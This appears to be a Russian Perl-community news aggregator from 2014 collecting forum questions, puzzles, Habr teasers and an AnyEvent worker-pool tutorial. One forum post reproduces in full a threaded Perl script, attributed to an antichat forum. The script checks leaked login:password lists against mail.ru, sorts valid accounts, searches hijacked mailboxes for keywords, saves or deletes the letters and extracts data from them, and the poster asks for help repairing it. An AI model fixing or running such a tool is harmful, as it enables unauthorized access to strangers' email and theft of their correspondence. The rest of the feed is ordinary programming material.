Пятница, 31 октября

Сообщество ru_perl в LiveJournal: Mojo & LWP

Приветствую сообщество))) Из примера http://mojolicio.us/perldoc/LWP#MORE-DOCUMENTATION

# Create a request
my $req = HTTP::Request->new(POST => 'http://search.cpan.org/search');
$req->content_type('application/x-www-form-urlencoded');
$req->content('query=libwww-perl&mode=dist');

# Pass request to the user agent and get a response back my $res = $ua->request($req);

# Check the outcome of the response if ($res->is_success) { print $res->content; } else { print $res->status_line, "\n"; }

Добрался таки до авторизации, начал с контактика, получаю:

{"response":[{"id":185667681,"first_name":"Marlik","last_name":"Transcendent"}]}

Как мне дернуть-то это добро? Что-то типа $res->content->ключ ??? Спасибо заранее.

Воскресенье, 26 октября

Ловушки Perl: Задачи-страшилки про Perl: Генерация конфигурации, с хорошим бекапом

Программист исправил ошибку в генерации конфигов из предыдущей задачи.

Кроме того, он улучшил бекап старых конфигов: теперь предыдущие версии будут попадать последовательно в файлы app.conf.bak.1, app.conf.bak.2 и т.п.

Удобно? Да, но есть одна особенность…

    #!/usr/bin/perl

use strict; use warnings;

use File::Slurp; use IO::Prompt;

my $conf_file = "./app.conf";

my $new_conf = generate_conf();

if (-e $conf_file && prompt(-yn, "backup old conf? [yn]" )){ backup_old_conf(); }

write_file($conf_file, {}, $new_conf);

exit;

sub generate_conf { my $conf = '';

#... return $conf; }

sub backup_old_conf { my $i = 0; # бекапим старые версии в файлах .bak.1, .bak.2 и т.д. # проверяем, какие файлы уже существуют... while(-e $conf_file.".bak.".$i++ ){ } # ... и создаем файл с следующим номером rename($conf_file, $conf_file.".bak.".$i) or die "can't backup old conf"; }

Суббота, 25 октября

Сообщество ru_perl в LiveJournal: Mojolicious нужен совет специалистов.

Суть задачки, есть шаблон по управлению записями, записи дергаются из монги. Как бы мне в этот шаблон 'впендюрить' две формы? Вот как это сейчас выглядит:



Хочется выбрать по чекбоксу запись или удалить ее, или отредактировать. Посоветуйте как сделать на каждую кнопку вызов разных action в контроллере. Спасибо.

Среда, 22 октября

Мини-портал Perl на Opennet: Двадцатый выпуск журнала Pragmatic Perl

Представлен двадцатый выпуск Pragmatic Perl, русскоязычного журнала о современном языке программирования Perl.

Вторник, 21 октября

Сообщество ru_perl в LiveJournal: Плагины

А подскажите как красивее реализовать плагины.
Хочется вызывать методы из плагинов таким образом
Foo->method()
При этом в проекте есть
Foo.pm
Foo/Ver_A.pm
Foo/Ver_B.pm
Т.е. хотелось бы как-нибудь в Foo.pm организовать условное переключение на нужный вариант реализации на основании переменной (она будет браться из конфига).


SOLVED

Пятница, 17 октября

Сообщество ru_perl в LiveJournal: Mojo Render

Доброй ночи кто не спит))) Пытаюсь показать страницу из БД, в ссылке id записи, все работает но, не рендерит шаблон. Вернее рендерит но как-то странно, то есть смотришь исходный код, все есть что нужно для отображения страницы, а в браузере неструктурированная каша, ощущение что с лейаутом что-то. Вот образец урла:

http://домен.ру/articles/543afe501f468622a22ea1d1

и даже если ручками добавлять .html ничего не меняется. Смысл такой, показываю урезанные записи на главной странице, при нажатии на сцылку должна полностью открыться эта запись. Короче встрял, потрошу гугл и читаю доки, результат ноль. Подскажите куда копать? Спасибо.

Среда, 15 октября

Ловушки Perl: Задачи-страшилки про Perl: Генерация конфигурации

Программист написал скрипт для генерации конфигов своего приложения из шаблона. В случае, если файл конфигурации уже сущестует, скрипт предлагает забекапить старую версию.

И что, вы думаете, из этого получилось?

    #!/usr/bin/perl

use strict; use warnings;

use File::Slurp;

my $conf_file = "/path/to/app.conf";

my $new_conf = generate_conf();

if (-e $conf_file && confirm("backup old conf?")){ backup_old_conf(); }

write_file($conf_file, {}, $new_conf);

exit;

sub generate_conf { my $conf = '';

# ... генерация ... return $conf; }

sub backup_old_conf { rename($conf_file, $conf_file.".bak") or die "can't backup old conf"; }

sub confirm { my $prompt = shift;

print $prompt." [yn]"; my $choice = <>; return ($choice eq 'y' ? 1 : 0); }

Понедельник, 13 октября

Сообщество ru_perl в LiveJournal: Mojo, MongoDB и курсор

Привет сообщество, пытаюсь дернуть запись из монги.

В action:

my $self = shift;
my $id = $self->stash('id');
my $db = $self->app->database;
my $coll = $db->get_collection( 'articles' );
my $cursor = $coll->find({_id => '$id'});
$self->stash(cursor => $cursor);

в templates:

% my $item = $cursor;

<%= $item %> Курсор в шаблоне MongoDB::Cursor=HASH(0x4821e80)

А так <%= $item->{title} %> фигушки!

Что я делаю не так?

Притом все тоже почти самое только для всех записей работает:

my $cursor = $coll->find({author => 'Marlik'});

while(my $item = $cursor->next){
<%= $item->{title} %>
}

Кто-нибудь знает что за такие подводные камни с id? Ткните носом где и что почитать. Спасибо.

Меркантильный гуру: GitPrep

Перестал лениться и попробовал перейти на GitPrep. Чудесная штука, кстати. Но...

При запуске на шаред хостинге при обращении к гит через https авторизация просто не работает.

https://github.com/yuki-kimoto/gitprep/issues/38 . Последний коммент автора вида "не знаю что с этим делать".

Как этим пользоваться - становится большой загадкой.

upd: нет, конечно будет любопытно переписать это с нуля и предполагая более промышленное использование, но это же куча времени...

Сообщество ru_perl в LiveJournal: Вакансия

Ищу программиста на фул-тайм. Удаленно.
Задача - переписать крупный проект с нуля.
Контакты: aleksandr.khasanov@gmail.com

Пятница, 10 октября

Сообщество ru_perl в LiveJournal: Mojo и ссылка на хэш.

Хелп миии. Прикручиваю авторизацию через Фейсбук, использую OAuth2 плагин, нашел там вот такую типа ссылку на хэш:

Takes a hashref of providers, each one with a hashref of options. For instance:

plugin 'o_auth2', {
iusethis => {
authorize_url => 'iut.com/auth',
token_url => 'iut.com/token',
key => 'foo',
secret => 'bar',
}};

Приложение делаю не лайт, нашел где реализовано на лайт и переделываю под полноценное. Что это за чудо? Это разве ссылка на хэш? И как мне его впендюрить в проект? Спасибо.

Четверг, 9 октября

XPoint.ru | Программирование::Perl::Основы: Помогите наладить работу парсера

Есть вот такой парсер ящиков

#!/usr/bin/perl
 
################# By Fepsis for forum.antichat.ru #################
 
use threads;
use threads::shared;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use HTML::Entities;
 
 
################# Config ###############
 
my $t = 1;          # число потоков
my $modCheckAcc = 0;        # если = 1 - сохраняет валидные в good.txt, не валидные в bad.txt
my $modCheckMess = 1;       # если = 1 - ищет в ящике письма, соответствующие запросу $query, если = 0, то нижеперечисленные функции не будут работать
 
     my $query = 'avito';   # запрос для поиска
 
          my $formatTxt = 0;            # если = 1 - переводит письма в текст (удаляет html теги)
          my $modSaveMess = 1;      # если = 1 - сохраняет найденные письма в папку 'mails'
          my $modDelMess = 0;       # если = 1 - удаляет найденные письма
          my $modSearch = 0;            # если = 1 - ищет в найденных письмах соответствия регулярке $pattern, результат сохраняет в 'SearchResults.txt'
 
               my $pattern = qr/Пользователь (.+?) написал вам сообщение/;      # эта регулярка вытащит "%username%" из строк "Пользователь %username% написал вам сообщение"
 
############### End Config ##############
 
 
my @bas : shared;
my @threads;
 
my $fileBad = 'bad.txt';
my $fileGood = 'good.txt';
my $srchRes = 'SearchResults.txt';
my $mailsDir = 'mails';
my $br = '<br>';
my $type = '.htm';
 
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);
 
open(BASE, 'base.txt');
chomp(@bas = <BASE>);
close(BASE);
 
 
sub logg
     {
    my ($data, $file) = @_;
    open(OUT, ">> ".$file);
    print OUT "$data\n";
    close(OUT);
     }
 
sub arbyte
     {
    my ($i) = @_;
 
    while(my $acc = shift(@bas))
         {
        print 'Thread #'.$i.': '.$acc."\n";
        my ($login, $domain, $pass) = $acc =~ /^(.+?)@(.+?):(.+?)$/;
 
        if (authorization($login, $domain, $pass))
             {
            if ($modCheckAcc == 1)
                 {
                logg($acc, $fileGood);
                 }
 
            if ($modCheckMess == 1)
                 {
                check_mess($query, $login, $domain, $pass);
                 }
             }
 
        else
             {
            if($modCheckAcc == 1) {logg($acc, $fileBad);}
             }
         }
 
 
     }
 
 
 
sub authorization
     {
    my ($login, $domain, $pass) = @_;
 
    $cookie_jar->clear();
 
    my $ex = $ua->request(POST 'http://win.mail.ru/cgi-bin/auth', ['Login' => $login, 'Domain' => $domain, 'Password' => $pass]);
    if ($ex->headers_as_string() =~/Set-Cookie: Mpop=/)
         {
        return 1;
         }
     }
 
 
sub check_mess
     {
    my ($query, $login, $domain, $pass) = @_;
 
 
    my ($ex, @messages, @tmpMess);
 
    my $j = 1;
    while (1)
         {
        $ex = $ua->request(GET 'http://e.mail.ru/cgi-bin/gosearch?q_query='.$query.'&page='.$j);
 
 
 
 
        if (my @tmpMess = $ex->content() =~ /type=\"checkbox\" name=\"id\" value=\"(.+?)\" \/><\/td>/g)
             {
            push(@messages, @tmpMess);
            $j++;
             }
 
        else {last;}
         }
 
 
    foreach (@messages)
         {
        $ex = $ua->request(GET 'http://win.mail.ru/cgi-bin/readmsg?id='.$_);
        my ($mess) = $ex->content() =~ /<base href=\"http:\/\/e\.mail\.ru\/cgi-bin\/\" \/>(.+?)<base href=\"http:\/\/e\.mail\.ru\/cgi-bin\/\" \/>/s;
 
        if ($formatTxt == 1)
             {
            $mess =~ s/<.+?>/ /g;
            $mess =~ s/\s+/ /g;
            decode_entities($mess);
            $br = "\n";
            $type = '.txt';
             }
 
        if ($modSearch == 1)
             {
            if ($mess =~ /$pattern/)
                 {
                $res = $1;
                logg($login.'@'.$domain.':'.$pass.' => '.$res, $srchRes);
                 }
             }
 
        if ($modSaveMess == 1)
             {
            logg('### begin ###'.$br.$mess.$br.'### end ###'.$br.$br, $mailsDir.'/'.$login.'#'.$domain.$type);
             }
            if ($modDelMess == 1)
             {
            $ex = $ua->request(GET 'http://win.mail.ru/cgi-bin/movemsg?remove&id='.$_);
             }
         }
     }
 
 
 
for my $i (1..$t)
     {
    push @threads, threads->create(\&arbyte, $i);
     }
 
 
foreach my $thread (@threads)
     {
    $thread->join();
     }

Помогите пожалуйста наладить его работу, чтобы он находил и складывал в папку "mails" письма ,содержащие контрольное слово (в примере "avito")
По уверению автора, изначально скрипт работал, но видимо, что то поменялось на mail.ru и парсить содержимое писем он перестал, хотя проверка на валидность работает отлично (проверял).

Вторник, 7 октября

Хабрахабр: Метки / perl: Test::Spec: плюсы, минусы и особенности


image

Test::Spec (https://metacpan.org/pod/Test::Spec) — модуль для декларативного написания юнит-тестов на Perl. Мы в REG.RU активно его используем, поэтому хочу рассказать, зачем он нужен, чем отличается от других модулей для тестирования, указать на его преимущества, недостатки и особенности реализации.

Эта статья не является вводной ни в юнит-тестирование в целом, ни в использование Test::Spec в частности. Информацию по работе с Test::Spec можно получить из документации (https://metacpan.org/pod/Test::Spec и https://metacpan.org/pod/Test::Spec::Mocks). В статье же речь пойдёт о специфике и нюансах этого модуля.

Читать дальше →

Хабрахабр: Метки / perl: Самодельный Dynamic DNS


Статья о том, как за несколько минут своими руками сделать Dynamic DNS с помощью Perl, Yandex DNS API и роутера D-Link.

Многие роутеры D-Link поддерживают встроенную функцию Dynamic DNS.
К сожалению, бесплатно доступны лишь домены вида example.dlinkddns.com.

Есть также очень удобное DNS API от Яндекса.

Этим сочетанием мы и воспользуемся.
Читать дальше →

Мини-портал Perl на Opennet: В Bugzilla устранена опасная уязвимость, открывшая новый вид атак на web-приложения

В выпусках 4.0.14, 4.2.10, 4.4.5 и 4.5.5 системы для ведения базы данных ошибок, контроля за их исправлением и общего координирования процесса разработки Bugzilla устранена опасная уязвимость (CVE-2014-1572), позволяющая поднять свои привилегии и получить доступ к закрытым группам. Теоретически аналогичные ошибки могут присутствовать и в других проектах на языке Perl, использующих модуль CGI.pm и заполняющих хэши неэкранированными значениями функции param.

Пятница, 3 октября

Хабрахабр: Метки / perl: Golf от Moscow.pm для всех




Всех с пятницей! По итогам недавно прошедшей встречи Moscow.pm я хочу предложить всем желающим посоревноваться в решении задачки.

Гольф (англ. golf) — спортивная игра, в которой отдельные участники или команды соревнуются, загоняя маленький мячик в специальные лунки ударами клюшек, пытаясь пройти отведённую дистанцию за минимальное число ударов.
Wikipedia

Игра, в которую я хочу предложить вам поиграть, также называется Golf. Суть ее в том, чтобы решить поставленную задачу за минимальное количество символов.
Читать дальше →

Вторник, 30 сентября

Хабрахабр: Метки / perl: Приглашаем на Moscow.pm и Perl Golf




В четверг, 2 октября, в офисе Mail.Ru Group состоится встреча Perl-программистов Moscow.pm. В этот день для всех гостей выступят двое докладчиков.

Первой выступит Ксения Боброва, ведущий программист Денег Mail.Ru. Тема её доклада «Гибкое конфигурирование Perl-приложения с помощью Dependency Injection». Dependency Injection — это самый простой паттерн, который почему-то не используется многими разработчиками. Ксения считает, что это эффективный инструмент для избавления от некоторых архитектурных особенностей, периодически возникающих при проектировании приложений. Ксения поведает слушателям о том, как лучше всего использовать Dependency Injection и DI-контейнерах, приведёт конкретные примеры, а также расскажет об инструментах, существенно облегчающих работу с контейнерами.

Завершит программу Павел Щербинин, Team lead в проекте Новости Mail.Ru. На примере очень популярной игры Perl Golf Павел поведает о «секретных» операторах Perl. Эта игра — вовсе не классическое компьютерное развлечение, а игра-соревнование для программистов. Её цель — написать программу, решающую некую заранее оговоренную задачу. Побеждает тот, чья программа будет иметь самый короткий код. Естественно, хорошо «играть» в такую «игру» могут лишь те, кто хорошо разбирается в тонкостях и нюансах Perl. Традиционную форму подачи материала докладчик разбавит аналогичным небольшим соревнованием для слушателей. Лучшим достанутся ценные призы. ;-)

У нас будет организована прямая трансляция мероприятия (свои вопросы докладчикам вы можете задать через @MoscowPerl), а видео с прошлых конференций вы можете найти на youtube-канале встречи. Ждём вас в офисе Mail.Ru Group 2 октября ровно к 19.00, и обязательно возьмите паспорт или водительские права. Для участия необходимо пройти регистрацию. Приходите, будет интересно!

Понедельник, 29 сентября

Чтобы не искать: Перевод с английского



Перевел с английского небольшую статью про Перл. Поскольку я вообще ни разу не переводчик и английского не знаю, то переводил два дня с помощью Гугла.

Интересный опыт. Всегда подозревал, что переводить - это весьма заморочная работа, теперь проверил лично.

Основной проблемой, я так понимаю, является даже не перевод, как таковой, а приведение дословного перевода к хорошей  литературной форме, чтобы по-русски звучало понятно и не коряво. Особенно сложно с разными фразеологическими оборотами, у которых в русском языке нет аналогов, приходится ломать голову над тем, как этот оборот переформулировать, не теряя смысла.

Конечно, в техническом тексте таких оборотов не сильно много, но мне и этого хватило:) С другой стороны, в техническом тексте есть своя специфика, которая сама по себе может быть непонятна с первого раза.

Вот, например, предложение:

Uncuddled elses.

Всего два слова. Слово "uncuddled" не переводится Гуглом. Видимо, нет такого слова. Слово "elses" Гугл переводит как "Эльсес", т.е. имя собственное. В сумме получается какая-то ерунда.

На самом деле, тут надо догадаться, что "elses" - это множественная форма от слова "else", которое, в свою очередь, является оператором языка Перл и не переводится. А слово "uncuddled" - это вроде как антоним слова "cuddled", которое переводится как "прижиматься".

Итого получаются какие-то "неприжимающиеся else". Я хоть и пишу на Перле, но почему-то раньше с таким термином не сталкивался. Дополнительное гугление подсказывает, о чем идет речь:

В операторе проверки условия if блок else можно написать на одной строке с закрывающей скобкой основного блока:

if (условие) {
    сделать_то
} else {
    сделать_это
}

а можно блок else перенести на следующую строку:

if (условие) {
    сделать_то
}
else {
    сделать_это
}

Вся разница - в одном единственном переводе строки, на работу кода это вообще никак не влияет. Однако, вопрос о том, переносить ли else на новую строку, или не переносить, является одним из религиозных вопросов оформления кода и не может быть просто проигнорирован.

Так вот - "неприжимающиеся else" - это второй вариант, когда else не прижимается к скобке. Я всегда именно так и пишу, но даже не знал, что для этого есть специальный термин.

Или вот еще предложение для перевода (точнее, два связанных предложения и пример кода):

Don't go through silly contortions to exit a loop at the top or the bottom, when Perl provides the last operator so you can exit in the middle. Just "outdent" it a little to make it more visible:

LINE:
    for (;;) {
        statements;
      last LINE if $foo;
        next LINE if /^#/;
        statements;
    }

Тут я сломал мозг.

Первую часть предложения, до запятой, я не могу перевести дословно. Вроде бы речь идет о том, что, мол, "не надо заморачиваться для выхода из цикла в верху или в низу". Но что такое "выход в верху" или "выход в низу"? В цикле нет никаких выходов "в верху" или "в низу". О чем говорит автор - я не понимаю. Соответственно, перевести это предложение правильно не могу.

Пришлось пойти на сделку с совестью и перевести весьма художественно: "Не делайте бессмысленных проходов по циклу сверху до низу". Общий смысл вроде передан верно, но настоящий переводчик в этом месте делает фейспалм.

А словечко "outdent" во втором предложении?

Есть термин "indent", означающий отступ от начала строки. В приведенном выше примере кода используются два стандартных оступа, размером 4 и 8 пробелов. А вот перед оператором last используется нестандартный отступ размером 6 пробелов. Понятно, что автор использует термин "outdent" как нечто обратное действию "indent". Но такоего термина не существует. Можно сказать что-то вроде "сделай в этой строке отступ", но нельзя сказать "сделай в этой строке отступ в обратную строну".

Автор и сам это знает, поэтому слово "outdent" у него взято в кавычки. Пришлось и мне выдумать в этом месте слово "недоотступ" и тоже взять его в кавычки.

В общем, сложностей в переводе хватает, но процесс довольно интересный. Надо теперь замахнуться на Perl Best Practices, а то без меня, чую, так и не переведут:)

Хабрахабр: Метки / perl: [Перевод] Руководство по оформлению кода на Перле


image

Конечно, у каждого программиста есть свои собственные предпочтения в отношении форматирования, но есть некоторые общие принципы, следование которым делает ваши программы легко читаемыми, понимаемыми и поддерживаемыми.

Главная фишка заключается в том, что ваши программы всегда должны запускаться с флагом -w. При необходимости, вы можете целенаправленно отключить это действие для конкретных участков кода через прагмы no warnings или переменную $^W. Так же, вы должны всегда запускать программы с использованием use strict, либо же четко понимать, почему вы этого не делаете. Прагмы use sigtrap и use diagnostics так же могут быть полезными.

Что касается эстетики оформления кода, то единственная вещь, о которой всерьез заботится Ларри, это то, что закрывающая фигурная скобка многострочного блока должна быть выровнена по вертикали с ключевым словом, начинающим всю конструкцию. Кроме того, у него есть другие предпочтения, которые не так серьезны:
Читать дальше →

Пятница, 26 сентября

Блог программиста — Perl, Ruby, C#: Как реализовать простой ajax-запрос в приложении Catalyst

Как добавить ajax-запрос при разработке Catalyst-приложения. Создание JSON-представления в Catalyst. Возврат данных в формате json. Изменение набора данных во втором элементе select, в засимости от того, какую строку пользователь выбрал в первом элементе select. Примеры perl-кода, html, js-скрипт. Установка jQuery.   К моему сожалению, конец августа и начало сентября — были для меня крайне непродуктивным […]

Среда, 17 сентября

Мини-портал Perl на Opennet: Девятнадцатый выпуск электронного журнала Pragmatic Perl

Представлен девятнадцатый выпуск Pragmatic Perl, русскоязычного журнала о современном программировании на Perl.

Понедельник, 15 сентября

Меркантильный гуру: .

"Padre is now on GitHub"

А поздно.

Понедельник, 8 сентября

Чтобы не искать: RabbitMQ — Отложенные сообщения, часть 2



В первой части не учел один важный момент. Накатал вторую часть.

Хабрахабр: Метки / perl: RabbitMQ — Отложенные сообщения, часть 2


image В предыдущей статье про отложенные сообщения я рассмотрел вариант организации отложенных сообщений для простого случая, при котором все отложенные сообщения имеют одинаковое время задержки. Однако, тут же в комментариях мне указали на то, что этот вариант организации отложенных сообщений создаст проблемы при попытке использовать его для сообщений с различающимся временем задержки.

В связи с этим хочу привести более универсальное (но чуть более сложное) решение, позволяющее организовать отложенные сообщения с произвольным временем задержки.
Читать дальше →

Пятница, 5 сентября

Хабрахабр: Метки / perl: Perl Golf на YAPC::Russia 2014




Мы в REG.RU страшно любим участвовать в интересных мероприятиях. Настолько любим, что даже сами стали их организовывать. Например, 13-14 июня, при спонсорской помощи компании и активном участии коллег, мы провели очередную конференцию perl-программистов YAPC::Russia 2014. Как всегда, собралась отличная компания, время было проведено приятно и полезно. К тому же, местом проведения конференции в этом году впервые стал Санкт-Петербург, да ещё и в разгар белых ночей! Немного весёлых картинок с мероприятия можно увидеть в соцсетях (ВКонтакте и Фейсбук), а на YouTube мы даже выложили часть докладов (и всё ещё не теряем надежды выложить остальные).

Помимо прочего культурного досуга, я решил повторить опыт прошлогодней конференции YAPC::Europe и снова провести конкурс Perl Golf.
Читать дальше →

Четверг, 4 сентября

Хабрахабр: Метки / perl: RabbitMQ — отложенные сообщения


image

На Хабре имеется серия переводов официального руководства по RabbitMQ (1, 2, 3, 4, 5). К сожалению, в официальном руководстве не рассматривается вопрос организации отложенный сообщений, а я считаю этот вопрос весьма важным. Поэтому я решал сам написать такую статью.

Примеры кода будут на Перле, но никаких специфических для Перла деталей в коде не будет, поэтому примеры могут быть сравнительно легко адаптированы для любого другого языка.
Читать дальше →

Среда, 3 сентября

Меркантильный гуру: RSS

Задачка сгенерить настоящий валидный RSS, оказывается, не такая уж простая.

С одной стороны, можно вообще по шаблону нечто похожее на XML накидать и большинство читалок это сейчас проглотят (потому что парсят это потом регекспами, вместо парсилки RSS, вероятно). Но валидным рсс оно не будет даже близко.

Хотя, казалось бы, почему XML::RSS из коробки не делает правильно? И, собственно, на кой оно вообще, если масштаб допиливания руками превышает написание всёго нужного ручками?

Вторник, 2 сентября

Хабрахабр: Метки / perl: Блокировка запуска второго экземпляра программы на Perl


image

Время от времени возникает необходимость сделать так, чтобы программа гарантированно работала в одном экземпляре. Например, это может быть скрипт, который генерирует некий файл — если запустить одновременно два экземпляра скрипта, то файл будет испорчен.

Нужно проверить — является ли запускаемый процесс единственным, запущенным в данный момент, экземпляром программы, или уже есть другой, запущенный экземпляр?

Есть несколько методов такой проверки, отличающихся надежностью.
Читать дальше →

Понедельник, 1 сентября

Хабрахабр: Метки / perl: Mojolicious Perl Style


Хочу описать стиль программирования на языке Perl, к которому я стремлюсь и который в основном перенял от современного web-фреймворка Mojolicious, но наверное много где еще применяется подобный. Мне кажется выработать правильный стиль кодинга — очень важно.

Пример 1:
Методы в одну строку.
Если обращение к каждому аргументу функции происходит лишь один раз, и порядок применения их в коде соответствует порядку переданных аргументов, то предлагается извлекать их с помощью стандартной функции shift, которая если вызывается без аргументов, по-умолчанию работает с массивом @_, в котором хранятся все переданные аргументы функции, выталкивает первый аргумент из массива и возвращает его.

sub node { shift->tree->[0] }
#
sub parse { shift->_delegate(parse => shift) }
#
sub _tag { shift->new->tree(shift)->xml(shift) }


Пример 2:
Сначала извлекаем первый параметр, имя класса например, все остальные аргументы передаем другой функции и пусть она их обрабатывает.
sub tree { shift->_delegate(tree => @_) } 
# т.е. может превратиться в это _delegate(tree => [], deep => 5) или это _delegate(tree => [], 5, 0) 
sub log { shift->emit('message', lc shift, @_) }


Пример 3:
Тоже для метода в одну строчку.
Здесь происходит обращение к одному и тому же аргументу целых 3 раза, потому для доступа к аргументу используется прямое обращение к элементу массива аргументов $_[0].
sub _instance { ref $_[0] ? $_[0] : $_[0]->singleton }
#
sub find { $_[0]->_collect(@{$_[0]->_css->select($_[1])}) }


Читать дальше →

Четверг, 28 августа

Хабрахабр: Метки / perl: [Из песочницы] Асинхронный многопоточный пул воркеров на Perl


image

В работе веб-сервиса, да и вообще многих других систем, часто встречается необходимость выполнения различных фоновых задач. Для этого пишут скрипты — воркеры — которые берут список имеющихся задач и начинают их выполнять — с какой-то скоростью и в какой-то последовательности.

Понятное дело, хорошо, когда все задачи выполняются быстро и без проволочек.

Для ускорения выполнения задач желательно решить две проблемы:

  • Научить воркер не ждать выполнения каждого отдельного этапа задачи (асинхронность)
  • Научить воркер выполнять одновременно несколько задач (многопоточность) (disclaimer: на самом деле термин «многопоточность» тут используется в значении «многопроцессность»)

В этой статье мы рассмотрим вариант реализации воркера, который будет одновременно асинхронным и многопоточным.
Читать дальше →

Блог программиста — Perl, Ruby, C#: Использование MongoDB в Catalyst. Часть 1. Примеры кода

Разработка панели администратора, для доступа к системе логов. Создание модели для работы с MongoDB в Catalyst. Создание контроллера и tt-шаблонов для панели администратора. Взаимодействие с MongoDB, выборка данных, сортировка, использование лимитов, поиск одной-единственной записи. Получение списка всех доступных баз данных Mongo. Использование Variable::Eject. Простые примеры кода.   Задача MongoDB используется для хранения логов. Требуется создать […]

Вторник, 26 августа

Чтобы не искать: Асинхронный многопоточный пул воркеров на Perl



В работе веб-сервиса, да и вообще многих других систем, часто встречается необходимость выполнения различных фоновых задач. Для этого пишут скрипты - воркеры - которые берут список имеющихся задач и начинают их выполнять - с какой-то скоростью и в какой-то последовательности.

Понятное дело, хорошо, когда все задачи выполняются быстро и без проволочек.

Для ускорения выполнения задач желательно решить две проблемы:

  • Научить воркер не ждать выполнения каждого отдельного этапа задачи (асинхронность)

  • Научить воркер выполнять одновременно несколько задач (многопоточность) (disclaimer: на самом деле термин "многопоточность" тут используется в значении "многопроцессность")

В этой статье мы рассмотрим вариант реализации воркера, который будет одновременно асинхронным и многопоточным.

Модуль AnyEvent

Для программирования в асинхронном режиме в Перле есть отличный модуль
AnyEvent.

На всякий случай следует сказать, что на самом деле AnyEvent является оберткой над другими низкоуровневыми асинхронными модулями. Как DBI является оберткой и универсальным интерфейсом к разным базам данных, так и AnyEvent является оберткой и универсальным интерфейсом к различным реализациям асинхронных движков.

Для AnyEvent имеется огромное количество всевозможных расширений, в том числе есть и расширение для написания многопоточных приложений - модуль AnyEvent::Fork::Pool.

Модуль AnyEvent::Fork::Pool предоставляет простой способ создания пула воркеров, которые будут обрабатывать задачи в асинхронном многопоточном режиме.

Скрипт

Рассмотрим скрипт anyevent_pool.pl:


-------
#!/usr/bin/perl

use strict;
use warnings;

use AnyEvent::Fork::Pool;

# Модуль воркера
my $mod = 'Worker';
# Функция воркера
my $sub = 'work';

# Определить количество ядер в системе
my $cpus = AnyEvent::Fork::Pool::ncpu 1;

# Создать пул воркеров
my $pool = AnyEvent::Fork
  ->new
  ->require ($mod)
  ->AnyEvent::Fork::Pool::run(
      "${mod}::$sub",        # Модуль::Функция - рабочая функция воркера
      init => "${mod}::init", # Модуль::init - функция инициализации воркера
      max  => $cpus,         # Количество воркеров в пуле
      idle => 0,                   # Количество воркеров при простое
      load => 1,                  # Размер очереди воркера
  );

# Поставить пулу задачи
for my $str (qw{q2 rtr4 ui3 asdg5}) {
   $pool->($str, sub {
      print "result: @_\n";
   });
};

AnyEvent->condvar->recv;
-------

Несмотря на небольшой объем, этот скрипт представляет собой полноценное асинхронное многопоточное приложение.

Разберем его по частям.

Переменные


-------
# Модуль воркера
my $mod = 'Worker';
# Функция воркера
my $sub = 'work';
-------

Эти переменные задают связку между пулом и тем кодом, который будет выполять конкретные фоновые задачи. Пул - он один на всех, а задачи могут быть разные. Эти переменные указывают пулу, какой именно код (какую функцию из какого модуля) вы хотите запустить для выполнения конкретной задачи.

Например, у вас может быть модуль Text для обработки текста, а в модуле функции length и trim. И еще у вас может быть модуль Image, в котором могут быть функции resize и crop. Пулу совершенно без разницы, что делают ваши функции и как они устроены. Вам нужно просто сказать пулу, в каком модуле они находятся и как они называются, и пул их выполнит.

Важно! Модуль воркера не нужно подключать в скрипте через "use Worker". Пул сам автоматически подгрузит модуль воркера, вам нужно только правильно указать название модуля в переменной.

Количество ядер

-------
# Определить количество ядер в системе
my $cpus = AnyEvent::Fork::Pool::ncpu 1;
-------

Для многопоточного выполнения задач желательно знать, сколько в системе имеется ядер. Желательно, чтобы количество потоков, которые вы будете запускать, равнялось количеству ядер. Если потоков будет меньше - некоторые ядра будут простаивать зря, если потоков будет больше - некоторые потоки будут вставать в очередь и вместо ускорения получатся потери на диспетчеризацию.

Если по каким-то причинам количество ядер не удалось определить, то будет использоваться значение, указанное вручную. В данном случае это 1.

Пул

-------
# Создать пул воркеров
my $pool = AnyEvent::Fork
   ->new
   ->require ($mod)
   ->AnyEvent::Fork::Pool::run(
      "${mod}::$sub",            # Модуль::Функция - рабочая функция воркера
      init => "${mod}::init", # Модуль::init - функция инициализации воркера
      max  => $cpus,         # Количество воркеров в пуле
      idle => 0,                   # Количество воркеров при простое
      load => 1,                  # Размер очереди воркера
  );
-------

Пояснения к параметрам:

  • Рабочая функция воркера всегда должна указываться первым параметром. Это та самая функция того самого модуля, которую мы указали в двух первых "настроечных" переменных $mod и $sub. Это единственный обязательный параметр.

  • init - Если в вашем воркере есть необходимость инициализации, то в этом параметре можно указать название инициализирующей функции. В даном случае название функции указано как "init", поскольку это обычное название для такой функции, но, в принципе, можно указать любое другое название.

  • max - Этот параметр задает количество потоков, которые будет запускать пул. Именно тут следует указать ранее определенное количество ядер в системе (но если хотите - можете указать любое число, если знаете, что делаете).

  • idle - тут указывается количество воркеров, которые будут ждать "на низком старте". Чем больше это число (но не больше параметра max) - тем быстрее пул среагирует на новую поступившую задачу, но тем больше будет бесполезно ждущих (и жрущих ресурсы) процессов.

  • load - Сколько задач будет отдано каждому воркеру не дожидаясь исполнения предыдущих. Значение сильно зависит от ситуации - в каких-то случаях лучше меньше, в каких-то лучше больше. При прочих равных большее значение должно повышать эффективность работы пула (оптом - дешевле).

Также имеются и другие параметры, которые я здесь не рассматриваю. Они сильно специфичны и требуются редко. С полным списком параметров можно ознакомиться в документации модуля.

Постановка задач пулу

-------
# Поставить пулу задачи
for my $str (qw{q2 rtr4 ui3 asdg5}) {
   $pool->($str, sub {
      print "result: @_\n";
   });
};
-------

Пулу можно передать произвольное количество параметров, но последним параметром должен быть коллбэк. Коллбэк - это анонимная функция, которая будет вызвана после того, как воркер выполнит задачу. В эту функцию будут переданы результаты работы воркера.

Другими словами - эта функция является получателем результатов работы функции $sub. Все, что выдаст функция $sub, будет передано в качестве аргументов в функцию-коллбэк. Условно эту связь можно записать примерно так - "callback($sub)".

В нашем случае функция-коллбэк просто печатает все, что она получает.

Переменная же $str - это, собственно, и есть та самая задача, которую должен выполнить воркер. В нашем случае это просто одна строка (точнее - 4 строки, запускаемых в цикле). Строки тут не имеют никакого глубокого смысла, я просто позвал кота походить по клавиатуре.

